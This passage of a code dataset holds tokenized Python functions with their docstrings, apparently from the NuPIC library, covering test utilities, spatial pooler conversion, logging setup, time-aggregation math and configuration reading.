minKeyVal:<EOL><INDENT>retGroups.append(nextList[i][<NUM_LIT:1>])<EOL>advanceList[i] = True<EOL><DEDENT>else:<EOL><INDENT>advanceList[i] = False<EOL>retGroups.append(None)<EOL><DEDENT><DEDENT>yield tuple(retGroups)<EOL><DEDENT>", "docstring": "Like itertools.groupby, with the following additions:\n\n    - Supports multiple sequences. Instead of returning (k, g), each iteration\n      returns (k, g0, g1, ...), with one `g` for each input sequence. The value of\n      each `g` is either a non-empty iterator or `None`.\n    - It treats the value `None` as an empty sequence. So you can make subsequent\n      calls to groupby2 on any `g` value.\n\n    .. note:: Read up on groupby here:\n           https://docs.python.org/dev/library/itertools.html#itertools.groupby\n\n    :param args: (list) Parameters alternating between sorted lists and their\n                        respective key functions. The lists should be sorted with\n                        respect to their key function.\n\n    :returns: (tuple) A n + 1 dimensional tuple, where the first element is the\n                    key of the iteration, and the other n entries are groups of\n                    objects that share this key. Each group corresponds to the an\n                    input sequence. `groupby2` is a generator that returns a tuple\n                    for every iteration. If an input sequence has no members with\n                    the current key, None is returned in place of a generator.", "id": "f17634:m0"}
{"signature": "def printTestHeader(self):", "body": "print()<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\" % (self,))<EOL>print(\"<STR_LIT>\" % (datetime.utcnow()))<EOL>print(\"<STR_LIT>\")<EOL>sys.stdout.flush()<EOL>return<EOL>", "docstring": "Print out what test we are running", "id": "f17635:c0:m1"}
{"signature": "def printBanner(self, msg, *args):", "body": "print()<EOL>print(\"<STR_LIT>\")<EOL>print(msg % args)<EOL>print(\"<STR_LIT>\" % (datetime.utcnow(), self,), file=sys.stdout)<EOL>print(\"<STR_LIT>\")<EOL>sys.stdout.flush()<EOL>return<EOL>", "docstring": "Print out a banner", "id": "f17635:c0:m2"}
{"signature": "def addExtraLogItem(self, item):", "body": "self.__logItems.append(item)<EOL>return<EOL>", "docstring": "Add an item to the log items list for the currently running session.\n        Our self.myAssertXXXXXX wrappers add the current items to the msg that is\n        passed to the unittest's assertXXXXX methods.  The extra info will show up\n        in test results if the test fails.", "id": "f17635:c0:m3"}
{"signature": "def __wrapMsg(self, msg):", "body": "msg = msgif not self.__logItemselse {\"<STR_LIT>\":msg, \"<STR_LIT>\":copy.copy(self.__logItems)}<EOL>msg = str(msg)<EOL>msg = msg.replace('<STR_LIT>', '<STR_LIT:\\n>')<EOL>return msg<EOL>", "docstring": "Called by our unittest.TestCase.assertXXXXXX overrides to construct a\n        message from the given message plus self.__logItems, if any. If\n        self.__logItems is non-empty, returns a dictionary containing the given\n        message value as the \"msg\" property and self.__logItems as the \"extra\"\n        property. If self.__logItems is empy, returns the given msg arg.", "id": "f17635:c0:m5"}
{"signature": "def assertEqual(self, first, second, msg=None):", "body": "unittest.TestCase.assertEqual(self, first, second, self.__wrapMsg(msg))<EOL>return<EOL>", "docstring": "unittest.TestCase.assertEqual override; adds extra log items to msg", "id": "f17635:c0:m6"}
{"signature": "def assertNotEqual(self, first, second, msg=None):", "body": "unittest.TestCase.assertNotEqual(self, first, second, self.__wrapMsg(msg))<EOL>return<EOL>", "docstring": "unittest.TestCase.assertNotEqual override; adds extra log items to msg", "id": "f17635:c0:m7"}
{"signature": "def assertTrue(self, expr, msg=None):", "body": "unittest.TestCase.assertTrue(self, expr, self.__wrapMsg(msg))<EOL>return<EOL>", "docstring": "unittest.TestCase.assertTrue override; adds extra log items to msg", "id": "f17635:c0:m8"}
{"signature": "def assertFalse(self, expr, msg=None):", "body": "unittest.TestCase.assertFalse(self, expr, self.__wrapMsg(msg))<EOL>return<EOL>", "docstring": "unittest.TestCase.assertFalse override; adds extra log items to msg", "id": "f17635:c0:m9"}
{"signature": "def tagTest(tag, comment=None):", "body": "return getattr(pytest.mark, tag)<EOL>", "docstring": "A decorator for tagging a test class or test method with the given tag\n    string\n\n    tag: test tag string\n    comment: reason for the tag; string; optional\n\n    Examples:\n\n    @tagTest(\"slowTests\", \"takes a long time to execute\")\n    class ClusterTests(TestCase):\n      def testSwarmWithAggregation(self):\n        pass\n\n      def testSwarmWithoutAggregation(self):\n        pass\n\n    or\n\n    class MiscTests(TestCase):\n      def testOnePlusOne(self):\n        pass\n\n      @tagTest(\"slowTests\")\n      def testSwarm(self):\n        pass", "id": "f17636:m0"}
{"signature": "def getNumpyRandomGenerator(seed = None):", "body": "if seed is None:<EOL><INDENT>seed = int((time.time()%<NUM_LIT>)*<NUM_LIT:10>)<EOL><DEDENT>print(\"<STR_LIT>\", seed, \"<STR_LIT>\", end='<STR_LIT:U+0020>')<EOL>callStack = traceback.extract_stack(limit=<NUM_LIT:3>)<EOL>print(callStack[<NUM_LIT:0>][<NUM_LIT:2>], \"<STR_LIT>\", callStack[<NUM_LIT:0>][<NUM_LIT:1>], \"<STR_LIT>\", callStack[<NUM_LIT:1>][<NUM_LIT:2>])<EOL>return numpy.random.RandomState(seed)<EOL>", "docstring": "Return a numpy random number generator with the given seed.\nIf seed is None, set it randomly based on time. Regardless we log\nthe actual seed and stack trace so that test failures are replicable.", "id": "f17637:m0"}
{"signature": "def convertPermanences(sourceSP, destSP):", "body": "numColumns = sourceSP.getNumColumns()<EOL>numInputs = sourceSP.getNumInputs()<EOL>for i in range(numColumns):<EOL><INDENT>potential = numpy.zeros(numInputs).astype(uintType)<EOL>sourceSP.getPotential(i, potential)<EOL>destSP.setPotential(i, potential)<EOL>perm = numpy.zeros(numInputs).astype(realType)<EOL>sourceSP.getPermanence(i, perm)<EOL>destSP.setPermanence(i, perm)<EOL><DEDENT>", "docstring": "Transfer the permanences from source to dest SP's. This is used in test\nroutines to counteract some drift between implementations.\nWe assume the two SP's have identical configurations/parameters.", "id": "f17637:m1"}
{"signature": "def getSeed():", "body": "seed = int((time.time()%<NUM_LIT>)*<NUM_LIT:10>)<EOL>print(\"<STR_LIT>\", seed, \"<STR_LIT>\", end='<STR_LIT:U+0020>')<EOL>callStack = traceback.extract_stack(limit=<NUM_LIT:3>)<EOL>print(callStack[<NUM_LIT:0>][<NUM_LIT:2>], \"<STR_LIT>\", callStack[<NUM_LIT:0>][<NUM_LIT:1>], \"<STR_LIT>\", callStack[<NUM_LIT:1>][<NUM_LIT:2>])<EOL>return seed<EOL>", "docstring": "Generate and log a 32-bit compatible seed value.", "id": "f17637:m2"}
{"signature": "def convertSP(pySp, newSeed):", "body": "columnDim = pySp._columnDimensions<EOL>inputDim = pySp._inputDimensions<EOL>numInputs = pySp.getNumInputs()<EOL>numColumns = pySp.getNumColumns()<EOL>cppSp = CPPSpatialPooler(inputDim, columnDim)<EOL>cppSp.setPotentialRadius(pySp.getPotentialRadius())<EOL>cppSp.setPotentialPct(pySp.getPotentialPct())<EOL>cppSp.setGlobalInhibition(pySp.getGlobalInhibition())<EOL>numActiveColumnsPerInhArea = pySp.getNumActiveColumnsPerInhArea()<EOL>localAreaDensity = pySp.getLocalAreaDensity()<EOL>if (numActiveColumnsPerInhArea > <NUM_LIT:0>):<EOL><INDENT>cppSp.setNumActiveColumnsPerInhArea(numActiveColumnsPerInhArea)<EOL><DEDENT>else:<EOL><INDENT>cppSp.setLocalAreaDensity(localAreaDensity)<EOL><DEDENT>cppSp.setStimulusThreshold(pySp.getStimulusThreshold())<EOL>cppSp.setInhibitionRadius(pySp.getInhibitionRadius())<EOL>cppSp.setDutyCyclePeriod(pySp.getDutyCyclePeriod())<EOL>cppSp.setBoostStrength(pySp.getBoostStrength())<EOL>cppSp.setIterationNum(pySp.getIterationNum())<EOL>cppSp.setIterationLearnNum(pySp.getIterationLearnNum())<EOL>cppSp.setSpVerbosity(pySp.getSpVerbosity())<EOL>cppSp.setUpdatePeriod(pySp.getUpdatePeriod())<EOL>cppSp.setSynPermTrimThreshold(pySp.getSynPermTrimThreshold())<EOL>cppSp.setSynPermActiveInc(pySp.getSynPermActiveInc())<EOL>cppSp.setSynPermInactiveDec(pySp.getSynPermInactiveDec())<EOL>cppSp.setSynPermBelowStimulusInc(pySp.getSynPermBelowStimulusInc())<EOL>cppSp.setSynPermConnected(pySp.getSynPermConnected())<EOL>cppSp.setMinPctOverlapDutyCycles(pySp.getMinPctOverlapDutyCycles())<EOL>boostFactors = numpy.zeros(numColumns).astype(realType)<EOL>pySp.getBoostFactors(boostFactors)<EOL>cppSp.setBoostFactors(boostFactors)<EOL>overlapDuty = numpy.zeros(numColumns).astype(realType)<EOL>pySp.getOverlapDutyCycles(overlapDuty)<EOL>cppSp.setOverlapDutyCycles(overlapDuty)<EOL>activeDuty = numpy.zeros(numColumns).astype(realType)<EOL>pySp.getActiveDutyCycles(activeDuty)<EOL>cppSp.setActiveDutyCycles(activeDuty)<EOL>minOverlapDuty = numpy.zeros(numColumns).astype(realType)<EOL>pySp.getMinOverlapDutyCycles(minOverlapDuty)<EOL>cppSp.setMinOverlapDutyCycles(minOverlapDuty)<EOL>for i in range(numColumns):<EOL><INDENT>potential = numpy.zeros(numInputs).astype(uintType)<EOL>pySp.getPotential(i, potential)<EOL>cppSp.setPotential(i, potential)<EOL>perm = numpy.zeros(numInputs).astype(realType)<EOL>pySp.getPermanence(i, perm)<EOL>cppSp.setPermanence(i, perm)<EOL><DEDENT>pySp._random = NupicRandom(newSeed)<EOL>cppSp.seed_(newSeed)<EOL>return cppSp<EOL>", "docstring": "Given an instance of a python spatial_pooler return an instance of the CPP\nspatial_pooler with identical parameters.", "id": "f17637:m3"}
{"signature": "def CreateSP(imp, params):", "body": "if (imp == \"<STR_LIT>\"):<EOL><INDENT>spClass = PySpatialPooler<EOL><DEDENT>elif (imp == \"<STR_LIT>\"):<EOL><INDENT>spClass = CPPSpatialPooler<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>print(params)<EOL>sp = spClass(**params)<EOL>return sp<EOL>", "docstring": "Helper class for creating an instance of the appropriate spatial pooler using\ngiven parameters.\n\nParameters:\n----------------------------\nimp:       Either 'py' or 'cpp' for creating the appropriate instance.\nparams:    A dict for overriding constructor parameters. The keys must\n           correspond to contructor parameter names.\n\nReturns the SP object.", "id": "f17637:m4"}
{"signature": "@abstractmethod<EOL><INDENT>def getTMClass(self):<DEDENT>", "body": "", "docstring": "Implement this method to specify the Temporal Memory class.", "id": "f17638:c0:m0"}
{"signature": "@abstractmethod<EOL><INDENT>def getPatternMachine(self):<DEDENT>", "body": "", "docstring": "Implement this method to provide the pattern machine.", "id": "f17638:c0:m1"}
{"signature": "def getDefaultTMParams(self):", "body": "return {}<EOL>", "docstring": "Override this method to set the default TM params for `self.tm`.", "id": "f17638:c0:m2"}
{"signature": "def init(self, overrides=None):", "body": "params = self._computeTMParams(overrides)<EOL>class MonitoredTemporalMemory(TemporalMemoryMonitorMixin,<EOL>self.getTMClass()): pass<EOL>self.tm = MonitoredTemporalMemory(**params)<EOL>", "docstring": "Initialize Temporal Memory, and other member variables.\n\n:param overrides: overrides for default Temporal Memory parameters", "id": "f17638:c0:m4"}
{"signature": "def getCallerInfo(depth=<NUM_LIT:2>):", "body": "f = sys._getframe(depth)<EOL>method_name = f.f_code.co_name<EOL>filename = f.f_code.co_filename<EOL>arg_class = None<EOL>args = inspect.getargvalues(f)<EOL>if len(args[<NUM_LIT:0>]) > <NUM_LIT:0>:<EOL><INDENT>arg_name = args[<NUM_LIT:0>][<NUM_LIT:0>] <EOL>arg_class = args[<NUM_LIT:3>][arg_name].__class__.__name__<EOL><DEDENT>return (method_name, filename, arg_class)<EOL>", "docstring": "Utility function to get information about function callers\n\n    The information is the tuple (function/method name, filename, class)\n    The class will be None if the caller is just a function and not an object\n    method.\n\n    :param depth: (int) how far back in the callstack to go to extract the caller\n           info", "id": "f17640:m0"}
{"signature": "def title(s=None, additional='<STR_LIT>', stream=sys.stdout):", "body": "if s is None:<EOL><INDENT>callable_name, file_name, class_name = getCallerInfo(<NUM_LIT:2>)<EOL>s = callable_name<EOL>if class_name is not None:<EOL><INDENT>s = class_name + '<STR_LIT:.>' + callable_name<EOL><DEDENT><DEDENT>lines = (s + additional).split('<STR_LIT:\\n>')<EOL>length = max(len(line) for line in lines)<EOL>print >> stream, '<STR_LIT:->' * length<EOL>print >> stream, s + additional<EOL>print >> stream, '<STR_LIT:->' * length<EOL>", "docstring": "Utility function to display nice titles\n\n    It automatically extracts the name of the function/method it is called from\n    and you can add additional text. title() will then print the name\n    of the function/method and the additional text surrounded by tow lines\n    of dashes. If you don't want the name of the function, you can provide\n    alternative text (regardless of the additional text)\n\n    :param s: (string) text to display, uses the function name and arguments by\n           default\n    :param additional: (string) extra text to display (not needed if s is not\n           None)\n    :param stream: (stream) the stream to print to. Ny default goes to standard\n           output\n\n    Examples:\n\n    .. code-block:: python\n\n      def foo():\n        title()\n\n    will display:\n\n    .. code-block:: text\n\n      ---\n      foo\n      ---\n\n    .. code-block:: python\n\n      def foo():\n        title(additional='(), this is cool!!!')\n\n    will display:\n\n    .. code-block:: text\n\n      ----------------------\n      foo(), this is cool!!!\n      ----------------------\n\n    .. code-block:: python\n\n      def foo():\n        title('No function name here!')\n\n    will display:\n\n    .. code-block:: text\n\n      ----------------------\n      No function name here!\n      ----------------------", "id": "f17640:m1"}
{"signature": "def getArgumentDescriptions(f):", "body": "<EOL>argspec = inspect.getargspec(f)<EOL>docstring = f.__doc__<EOL>descriptions = {}<EOL>if docstring:<EOL><INDENT>lines = docstring.split('<STR_LIT:\\n>')<EOL>i = <NUM_LIT:0><EOL>while i < len(lines):<EOL><INDENT>stripped = lines[i].lstrip()<EOL>if not stripped:<EOL><INDENT>i += <NUM_LIT:1><EOL>continue<EOL><DEDENT>indentLevel = lines[i].index(stripped[<NUM_LIT:0>])<EOL>firstWord = stripped.split()[<NUM_LIT:0>]<EOL>if firstWord.endswith('<STR_LIT::>'):<EOL><INDENT>firstWord = firstWord[:-<NUM_LIT:1>]<EOL><DEDENT>if firstWord in argspec.args:<EOL><INDENT>argName = firstWord<EOL>restOfLine = stripped[len(firstWord)+<NUM_LIT:1>:].strip()<EOL>argLines = [restOfLine]<EOL>i += <NUM_LIT:1><EOL>while i < len(lines):<EOL><INDENT>stripped = lines[i].lstrip()<EOL>if not stripped:<EOL><INDENT>break<EOL><DEDENT>if lines[i].index(stripped[<NUM_LIT:0>]) <= indentLevel:<EOL><INDENT>break<EOL><DEDENT>argLines.append(lines[i].strip())<EOL>i += <NUM_LIT:1><EOL><DEDENT>descriptions[argName] = '<STR_LIT:U+0020>'.join(argLines)<EOL><DEDENT>else:<EOL><INDENT>i += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>args = []<EOL>if argspec.defaults:<EOL><INDENT>defaultCount = len(argspec.defaults)<EOL><DEDENT>else:<EOL><INDENT>defaultCount = <NUM_LIT:0><EOL><DEDENT>nonDefaultArgCount = len(argspec.args) - defaultCount<EOL>for i, argName in enumerate(argspec.args):<EOL><INDENT>if i >= nonDefaultArgCount:<EOL><INDENT>defaultValue = argspec.defaults[i - nonDefaultArgCount]<EOL>args.append((argName, descriptions.get(argName, \"<STR_LIT>\"), defaultValue))<EOL><DEDENT>else:<EOL><INDENT>args.append((argName, descriptions.get(argName, \"<STR_LIT>\")))<EOL><DEDENT><DEDENT>return args<EOL>", "docstring": "Get the arguments, default values, and argument descriptions for a function.\n\nParses the argument descriptions out of the function docstring, using a\nformat something lke this:\n\n::\n\n  [junk]\n  argument_name:     description...\n    description...\n    description...\n  [junk]\n  [more arguments]\n\nIt will find an argument as long as the exact argument name starts the line.\nIt will then strip a trailing colon, if present, then strip the rest of the\nline and use it to start the description. It will then strip and append any\nsubsequent lines with a greater indent level than the original argument name.\n\n:param f: (function) to inspect\n:returns: (list of tuples) (``argName``, ``argDescription``, ``defaultValue``)\n  If an argument has no default value, the tuple is only two elements long (as\n  ``None`` cannot be used, since it could be a default value itself).", "id": "f17640:m2"}
{"signature": "def initLogging(verbose=False, console='<STR_LIT>', consoleLevel='<STR_LIT>'):", "body": "<EOL>global gLoggingInitialized<EOL>if gLoggingInitialized:<EOL><INDENT>if verbose:<EOL><INDENT>print >> sys.stderr, \"<STR_LIT>\"<EOL><DEDENT>return<EOL><DEDENT>consoleStreamMappings = {<EOL>'<STR_LIT>'  : '<STR_LIT>',<EOL>'<STR_LIT>'  : '<STR_LIT>',<EOL>}<EOL>consoleLogLevels = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>']<EOL>assert console is None or console in consoleStreamMappings.keys(), (<EOL>'<STR_LIT>') % (console,)<EOL>assert consoleLevel in consoleLogLevels, (<EOL>'<STR_LIT>') % (consoleLevel)<EOL>configFilename = '<STR_LIT>'<EOL>configFilePath = resource_filename(\"<STR_LIT>\", configFilename)<EOL>configLogDir = os.environ.get('<STR_LIT>', None)<EOL>if verbose:<EOL><INDENT>print >> sys.stderr, (<EOL>\"<STR_LIT>\") % (configFilePath)<EOL><DEDENT>replacements = dict()<EOL>def makeKey(name):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return \"<STR_LIT>\" % (name)<EOL><DEDENT>platform = sys.platform.lower()<EOL>if platform.startswith('<STR_LIT>'):<EOL><INDENT>import java.lang<EOL>platform = java.lang.System.getProperty(\"<STR_LIT>\").lower()<EOL>if platform.startswith('<STR_LIT>'):<EOL><INDENT>platform = '<STR_LIT>'<EOL><DEDENT><DEDENT>if platform.startswith('<STR_LIT>'):<EOL><INDENT>replacements[makeKey('<STR_LIT>')] = '<STR_LIT>'<EOL><DEDENT>elif platform.startswith('<STR_LIT>'):<EOL><INDENT>replacements[makeKey('<STR_LIT>')] = '<STR_LIT>'<EOL><DEDENT>elif platform.startswith('<STR_LIT>'):<EOL><INDENT>replacements[makeKey('<STR_LIT>')] = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\" % (<EOL>sys.platform,))<EOL><DEDENT>replacements[makeKey('<STR_LIT>')] = '<STR_LIT>'<EOL>if platform.startswith('<STR_LIT>'):<EOL><INDENT>replacements[makeKey('<STR_LIT>')] = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>replacements[makeKey('<STR_LIT>')] = '<STR_LIT>'<EOL><DEDENT>handlers = list()<EOL>if configLogDir is not None:<EOL><INDENT>logFilePath = _genLoggingFilePath()<EOL>makeDirectoryFromAbsolutePath(os.path.dirname(logFilePath))<EOL>replacements[makeKey('<STR_LIT>')] = repr(logFilePath)<EOL>handlers.append(replacements[makeKey('<STR_LIT>')])<EOL><DEDENT>if console is not None:<EOL><INDENT>handlers.append(consoleStreamMappings[console])<EOL><DEDENT>replacements[makeKey('<STR_LIT>')] = \"<STR_LIT:U+002CU+0020>\".join(handlers)<EOL>replacements[makeKey('<STR_LIT>')] = consoleLevel<EOL>customConfig = StringIO()<EOL>loggingFileContents = resource_string(__name__, configFilename)<EOL>for lineNum, line in enumerate(loggingFileContents.splitlines()):<EOL><INDENT>if \"<STR_LIT>\" in line:<EOL><INDENT>for (key, value) in replacements.items():<EOL><INDENT>line = line.replace(key, value)<EOL><DEDENT><DEDENT>if \"<STR_LIT>\" in line and \"<STR_LIT>\" not in line:<EOL><INDENT>raise RuntimeError((\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\") % (line, lineNum, configFilePath))<EOL><DEDENT>customConfig.write(\"<STR_LIT>\" % line)<EOL><DEDENT>customConfig.seek(<NUM_LIT:0>)<EOL>if python_version()[:<NUM_LIT:3>] >= '<STR_LIT>':<EOL><INDENT>logging.config.fileConfig(customConfig, disable_existing_loggers=False)<EOL><DEDENT>else:<EOL><INDENT>logging.config.fileConfig(customConfig)<EOL><DEDENT>gLoggingInitialized = True<EOL>", "docstring": "Initilize NuPic logging by reading in from the logging configuration file. The\nlogging configuration file is named ``nupic-logging.conf`` and is expected to\nbe in the format defined by the python logging module.\n\nIf the environment variable ``NTA_CONF_PATH`` is defined, then the logging\nconfiguration file is expected to be in the ``NTA_CONF_PATH`` directory. If\n``NTA_CONF_PATH`` is not defined, then it is found in the 'conf/default'\nsubdirectory of the NuPic installation directory (typically\n~/nupic/current/conf/default)\n\nThe logging configuration file can use the environment variable\n``NTA_LOG_DIR`` to set the locations of log files. If this variable is not\ndefined, logging to files will be disabled.\n\n:param console: Defines console output for the default \"root\" logging\n            configuration; this may be one of 'stdout', 'stderr', or None;\n            Use None to suppress console logging output\n:param consoleLevel:\n            Logging-level filter string for console output corresponding to\n            logging levels in the logging module; may be one of:\n            'DEBUG', 'INFO', 'WARNING', 'ERROR', or 'CRITICAL'.\n            E.g.,  a value of'WARNING' suppresses DEBUG and INFO level output\n            to console, but allows WARNING, ERROR, and CRITICAL", "id": "f17640:m3"}
{"signature": "def _genLoggingFilePath():", "body": "appName = os.path.splitext(os.path.basename(sys.argv[<NUM_LIT:0>]))[<NUM_LIT:0>] or '<STR_LIT>'<EOL>appLogDir = os.path.abspath(os.path.join(<EOL>os.environ['<STR_LIT>'],<EOL>'<STR_LIT>' % (os.environ['<STR_LIT>'],),<EOL>appName))<EOL>appLogFileName = '<STR_LIT>' % (<EOL>appName, long(time.mktime(time.gmtime())), os.getpid())<EOL>return os.path.join(appLogDir, appLogFileName)<EOL>", "docstring": "Generate a filepath for the calling app", "id": "f17640:m4"}
{"signature": "def aggregationToMonthsSeconds(interval):", "body": "seconds = interval.get('<STR_LIT>', <NUM_LIT:0>) * <NUM_LIT><EOL>seconds += interval.get('<STR_LIT>', <NUM_LIT:0>) * <NUM_LIT><EOL>seconds += interval.get('<STR_LIT>', <NUM_LIT:0>)<EOL>seconds += interval.get('<STR_LIT>', <NUM_LIT:0>) * <NUM_LIT><EOL>seconds += interval.get('<STR_LIT>', <NUM_LIT:0>) * <NUM_LIT> * <NUM_LIT><EOL>seconds += interval.get('<STR_LIT>', <NUM_LIT:0>) * <NUM_LIT> * <NUM_LIT> * <NUM_LIT><EOL>seconds += interval.get('<STR_LIT>', <NUM_LIT:0>) * <NUM_LIT:7> * <NUM_LIT> * <NUM_LIT> * <NUM_LIT><EOL>months = interval.get('<STR_LIT>', <NUM_LIT:0>)<EOL>months += <NUM_LIT:12> * interval.get('<STR_LIT>', <NUM_LIT:0>)<EOL>return {'<STR_LIT>': months, '<STR_LIT>': seconds}<EOL>", "docstring": "Return the number of months and seconds from an aggregation dict that\nrepresents a date and time.\n\nInterval is a dict that contain one or more of the following keys: 'years',\n'months', 'weeks', 'days', 'hours', 'minutes', seconds', 'milliseconds',\n'microseconds'.\n\nFor example:\n\n::\n\n  aggregationMicroseconds({'years': 1, 'hours': 4, 'microseconds':42}) ==\n      {'months':12, 'seconds':14400.000042}\n\n:param interval: (dict) The aggregation interval representing a date and time\n:returns: (dict) number of months and seconds in the interval:\n          ``{months': XX, 'seconds': XX}``. The seconds is\n          a floating point that can represent resolutions down to a\n          microsecond.", "id": "f17640:m5"}
{"signature": "def aggregationDivide(dividend, divisor):", "body": "<EOL>dividendMonthSec = aggregationToMonthsSeconds(dividend)<EOL>divisorMonthSec = aggregationToMonthsSeconds(divisor)<EOL>if (dividendMonthSec['<STR_LIT>'] != <NUM_LIT:0> and divisorMonthSec['<STR_LIT>'] != <NUM_LIT:0>)or (dividendMonthSec['<STR_LIT>'] != <NUM_LIT:0> and divisorMonthSec['<STR_LIT>'] != <NUM_LIT:0>):<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>if dividendMonthSec['<STR_LIT>'] > <NUM_LIT:0>:<EOL><INDENT>return float(dividendMonthSec['<STR_LIT>']) / divisor['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>return float(dividendMonthSec['<STR_LIT>']) / divisorMonthSec['<STR_LIT>']<EOL><DEDENT>", "docstring": "Return the result from dividing two dicts that represent date and time.\n\nBoth dividend and divisor are dicts that contain one or more of the following\nkeys: 'years', 'months', 'weeks', 'days', 'hours', 'minutes', seconds',\n'milliseconds', 'microseconds'.\n\nFor example:\n\n::\n\n  aggregationDivide({'hours': 4}, {'minutes': 15}) == 16\n\n:param dividend: (dict) The numerator, as a dict representing a date and time\n:param divisor: (dict) the denominator, as a dict representing a date and time\n:returns: (float) number of times divisor goes into dividend", "id": "f17640:m6"}
{"signature": "@classmethod<EOL><INDENT>def getString(cls, prop):<DEDENT>", "body": "if cls._properties is None:<EOL><INDENT>cls._readStdConfigFiles()<EOL><DEDENT>envValue = os.environ.get(\"<STR_LIT>\" % (cls.envPropPrefix,<EOL>prop.replace('<STR_LIT:.>', '<STR_LIT:_>')), None)<EOL>if envValue is not None:<EOL><INDENT>return envValue<EOL><DEDENT>return cls._properties[prop]<EOL>", "docstring": "Retrieve the requested property as a string. If property does not exist,\n        then KeyError will be raised.\n\n        :param prop: (string) name of the property\n        :raises: KeyError\n        :returns: (string) property value", "id": "f17641:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def getBool(cls, prop):<DEDENT>", "body": "value = cls.getInt(prop)<EOL>if value not in (<NUM_LIT:0>, <NUM_LIT:1>):<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % (<EOL>value, prop))<EOL><DEDENT>return bool(value)<EOL>", "docstring": "Retrieve the requested property and return it as a bool. If property\n        does not exist, then KeyError will be raised. If the property value is\n        neither 0 nor 1, then ValueError will be raised\n\n        :param prop: (string) name of the property\n        :raises: KeyError, ValueError\n        :returns: (bool) property value", "id": "f17641:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def getInt(cls, prop):<DEDENT>", "body": "return int(cls.getString(prop))<EOL>", "docstring": "Retrieve the requested property and return it as an int. If property\n        does not exist, then KeyError will be raised.\n\n        :param prop: (string) name of the property\n        :returns: (int) property value", "id": "f17641:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def getFloat(cls, prop):<DEDENT>", "body": "return float(cls.getString(prop))<EOL>", "docstring": "Retrieve the requested property and return it as a float. If property\n        does not exist, then KeyError will be raised.\n\n        :param prop: (string) name of the property\n        :returns: (float) property value", "id": "f17641:c0:m3"}
{"signature": "@classmethod<EOL><INDENT>def get(cls, prop, default=None):<DEDENT>", "body": "try:<EOL><INDENT>return cls.getString(prop)<EOL><DEDENT>except KeyError:<EOL><INDENT>return default<EOL><DEDENT>", "docstring": "Get the value of the given configuration property as string. This\n        returns a string which is the property value, or the value of \"default\" arg.\n        If the property is not found, use :meth:`getString` instead.\n\n        .. note:: it's atypical for our configuration properties to be missing - a\n         missing configuration property is usually a very serious error. Because\n         of this, it's preferable to use one of the :meth:`getString`,\n         :meth:`getInt`, :meth:`getFloat`, etc. variants instead of :meth:`get`.\n         Those variants will raise KeyError when an expected property is missing.\n\n        :param prop: (string) name of the property\n        :param default: default value to return if property does not exist\n        :returns: (string) property value, or default if the property does not exist", "id": "f17641:c0:m4"}
{"signature": "@classmethod<EOL><INDENT>def set(cls, prop, value):<DEDENT>", "body": "if cls._properties is None:<EOL><INDENT>cls._readStdConfigFiles()<EOL><DEDENT>cls._properties[prop] = str(value)<EOL>", "docstring": "Set the value of the given configuration property.\n\n        :param prop: (string) name of the property\n        :param value: (object) value to set", "id": "f17641:c0:m5"}
{"signature": "@classmethod<EOL><INDENT>def dict(cls):<DEDENT>", "body": "if cls._properties is None:<EOL><INDENT>cls._readStdConfigFiles()<EOL><DEDENT>result = dict(cls._properties)<EOL>keys = os.environ.keys()<EOL>replaceKeys = filter(lambda x: x.startswith(cls.envPropPrefix),<EOL>keys)<EOL>for envKey in replaceKeys:<EOL><INDENT>key = envKey[len(cls.envPropPrefix):]<EOL>key = key.replace('<STR_LIT:_>', '<STR_LIT:.>')<EOL>result[key] = os.environ[envKey]<EOL><DEDENT>return result<EOL>", "docstring": "Return a dict containing all of the configuration properties\n\n        :returns: (dict) containing all configuration properties.", "id": "f17641:c0:m6"}
{"signature": "@classmethod<EOL><INDENT>def readConfigFile(cls, filename, path=None):<DEDENT>", "body": "properties = cls._readConfigFile(filename, path)<EOL>if cls._properties is None:<EOL><INDENT>cls._properties = dict()<EOL><DEDENT>for name in properties:<EOL><INDENT>if '<STR_LIT:value>' in properties[name]:<EOL><INDENT>cls._properties[name] = properties[name]['<STR_LIT:value>']<EOL><DEDENT><DEDENT>", "docstring": "Parse the given XML file and store all properties it describes.\n\n        :param filename: (string) name of XML file to parse (no path)\n        :param path: (string) path of the XML file. If None, then use the standard\n                      configuration search path.", "id": "f17641:c0:m7"}
{"signature": "@classmethod<EOL><INDENT>def _readConfigFile(cls, filename, path=None):<DEDENT>", "body": "outputProperties = dict()<EOL>if path is None:<EOL><INDENT>filePath = cls.findConfigFile(filename)<EOL><DEDENT>else:<EOL><INDENT>filePath = os.path.join(path, filename)<EOL><DEDENT>try:<EOL><INDENT>if filePath is not None:<EOL><INDENT>try:<EOL><INDENT>_getLogger().debug(\"<STR_LIT>\", filePath)<EOL>with open(filePath, '<STR_LIT:r>') as inp:<EOL><INDENT>contents = inp.read()<EOL><DEDENT><DEDENT>except Exception:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\" % filePath)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>contents = resource_string(\"<STR_LIT>\", filename)<EOL><DEDENT>except Exception as resourceException:<EOL><INDENT>if filename in [USER_CONFIG, CUSTOM_CONFIG]:<EOL><INDENT>contents = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>raise resourceException<EOL><DEDENT><DEDENT><DEDENT>elements = ElementTree.XML(contents)<EOL>if elements.tag != '<STR_LIT>':<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (elements.tag))<EOL><DEDENT>propertyElements = elements.findall('<STR_LIT>')<EOL>for propertyItem in 